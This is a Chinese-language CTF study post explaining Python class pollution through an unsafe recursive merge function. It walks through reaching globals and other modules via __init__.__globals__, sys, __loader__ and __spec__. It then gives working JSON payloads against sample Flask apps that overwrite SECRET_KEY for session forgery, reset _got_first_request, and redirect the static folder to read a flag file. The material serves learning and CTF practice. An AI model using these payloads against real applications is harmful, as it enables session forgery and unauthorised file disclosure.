Python原型链污染

​ 前段时间学了Js的原型链污染,加上国赛和DAS都出了Sanic框架下的Python原型链污染的题,感觉之后还会碰上这样的题目,所以学习一下

一些简介

原型:

​ 每个对象拥有一个原型对象(prototype),对象以该原型为模板,从原型继承方法和属性

原型链:

​ 原型对象可能拥有原型,从中继承方法和属性,一层一层、以此类推,这样的关系结构叫做原型链

prototype和____proto ____

​ 一个类除了自定义的属性外,还有一个prototype属性

​ 实例化一个对象后,对象会存在一个____proto__属性,这个带下划线的proto会指向其继承的父类的prototype

image-20250317191414462

当我们查找a的属性时,假如a中不存在该属性,浏览器就会向上找a的原型,也就是A,如果A也没有,就会一直找到Object(默认所有类都继承自Object),最后指向Null

image-20240722095608489

用一个比较接近的比喻来形容:父亲(类)生了儿子(对象),儿子具备父亲的特征属性,和自己的一些属性,当

我们找这个儿子帮忙时(浏览器查找属性),儿子说办不到(不存在该属性),找他爸爸应该能帮上忙(查找对象的原型,也就是prototype),找到他爸爸,他爸爸说这个事情得他家老爷子来办(对象的原型也没有,再往上一层查找),如果老爷子说这事能办,那就能成(假设爷爷是Object,如果存在该属性,则调用),老爷子说办不了,那就谁也帮不上忙了(NULL)

键值对、字典、元组、模块

​ 键值对:”key”:“value” 类似这个格式的,键后边对应着相应值,这是键值对

​ 字典:d = {key1 : value1, key2 : value2 } d是一个字典

​ 元组:tup1 = () tup1是一个空元组

​ 模块:Python模块是一个Python文件,以.py结尾,包含了Python对象定义和Python语句,模块能定义函数、类、变量,也能包含可执行的代码

Python原型链污染和Nodejs原型链污染根本原理是一样的。虽然python没有原型这一说,但其继承关系却和js类似,这就导致了相关漏洞的诞生

Nodejs是对键值对的控制来污染,而Python则是对类的属性值的污染,并且Python原型链污染只能对类的属性来进行污染,不能污染类的方法

危险代码

​ 和js类似,Python当中也有merge操作,简单说这个merge操作就是:把源参数赋值给目标参数。一般来说原型链污染都发生在类似的地方

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):	

for k, v in src.items(): #遍历src当中的键值
if hasattr(dst, '__getitem__'): #检查dst当中是否包含___getitem__属性,也就是检查是否为一个字典
if dst.get(k) and type(v) == dict: #如果是字典,则嵌套merge,对内部的字典再进行遍历,将对应键值对取出来
merge(v, dst.get(k))
else: #如果不存在,则将src中的value值赋给dst对应的key的值
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #如果dst不含getitem,不是一个字典,就检测dst中是否包含k属性,且检测该属性是否为字典
merge(v, getattr(dst, k)) #如果该属性为字典,则通过merge再遍历
else:
setattr(dst, k, v)

个例演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

获取目标类

​ 在上面的例子中,payload是通过__base__属性来查找到继承的父类的,然后污染父类当中的secret 参数

但,如果目标类和切入点没有父子类的继承关系,我们就无法用base属性来对目标类进行获取和污染

获取全局变量

​ ______init___初始化方法是类的一个内置方法,在没有被重写作为函数的时候,它的数据类型会被当作装饰器,装饰器的特点就是:都具有一个全局属性____globals__属性

​ gloabls属性是函数对象的一个属性,用于访问该函数所在的 模块的全局命名空间。globals属性会返回一个字典,里面包含了函数定义时所在模块的全局变量

获取其他模块

​ 全局变量前提下,我们都是在入口文件中的类的对象或者属性进行操作的,但是如果操作位置在入口文件中,而目标对象并不在入口文件当中,这个时候就需要通过加载其他模块来获取了

import加载获取

​ 简单关系情况下,我们可以直接通过import来加载其他模块,在payload中只需要对对应的模块进行重新定位就可以了

sys模块加载获取

​ 很多环境当中会引入第三方模块或者是内置模块,不是简单的import当前文件下面的目录,因此,我们要借助sys模块中的module属性。

​ module属性能够加载出在自运行开始时所有已加载的模块,我们能从属性当中获取到我们想要污染的目标模块

加载器lodaer获取

​ loader加载器在python中的作用是为实现模块加载而设计的类,在importlib这一内置模块当中有具体体现。

​ importlib模块下所有的py文件均引入了sys模块,这样我们和上面的sys模块获取已加载模块就能联系起来了,我们的目标就变成了只要获取了loader加载器,就可以通过lodaer.init.globals[‘sys’]来获取到sys模块,然后再获取我们想要的模块

​ 目标变成了获取lodaer

在Python当中,___lodaer__是一个内置的属性,包含了加载模块的loader对象,loader对象负责创建模块对象,通过loader属性,我们可以获取到加载特定模块的loader对象

1
2
3
4
5
import math
# 获取模块的loader
loader = math.__loader__
# 打印loader信息
print(loader)

math模块的__loader__属性包含了一个loader对象,负责加载math模块

在python当中还存在一个___sepc___,包含了关于类加载时候的信息

它定义在Lib/importlib/_bootstrap.py的类ModuleSpec中,因此可以直接用<模块名>.___sepc___.___init___.___globals___['sys']来获取到sys模块

替换函数形参默认值

​ Python当中,__defaults__是一个元组,用于存储函数或者方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在__defaults__元组当中

1
2
3
4
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)

可以通过替换该属性,对函数位置或者是键值默认值进行替换

但前提条件是:我们要替换的值是元组的形式

1
2
3
4
5
6
7
8
9
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}

还有一种是____kwdefaults___,是以字典形式来进行收录的

利用:关键信息替换

flask密钥替换

​ 如果可以对flask密钥进行替换,将其改为我们想要的,我们就可以进行session伪造

​ 题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY']) #污染点

app.run(host="0.0.0.0")

因为secret_key是在当前入口文件下的,可以直接通过___init___.___gloabals___来获取全局变量

然后,我们通过app.config[“SECRET_KEY”]来进行污染

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

_got_first_request验证

_got_first_request用于判定请求是否为自Flask启动后的第一次请求,是Flask.got_first_request()函数的返回值

​ 它还会影响装饰器app.before_first_request的调用,当_got_first_request的值为假时才会调用

如果我们想要调用第一次访问前的请求,摈弃给在后续请求中继续进行使用的话,就需要把_got_first_request的值从true改为false(欺骗目标,使其认为我们并非第一次访问的用户),这样就能在后续访问中继续调用app.before_first_request下面的可用信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
题目:
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")
1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}

_static_url_path污染静态目录

​ python指定static静态目录之后,再访问static文件夹下对应的文件,就不会存在目录穿梭漏洞

但如果我们想访问其他文件下面的敏感信息,就需要污染这个静态目录来让它自动帮我们实现定向

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#static/index.html

<html>
<h1>hello</h1>
<body>
</body>
</html>




@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"

1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

这里题目给的提示是flag在./flag下,但是我们这里所在的位置是static/index.html

于是我们污染静态目录,使其定位到上一层目录

最后找到flag文件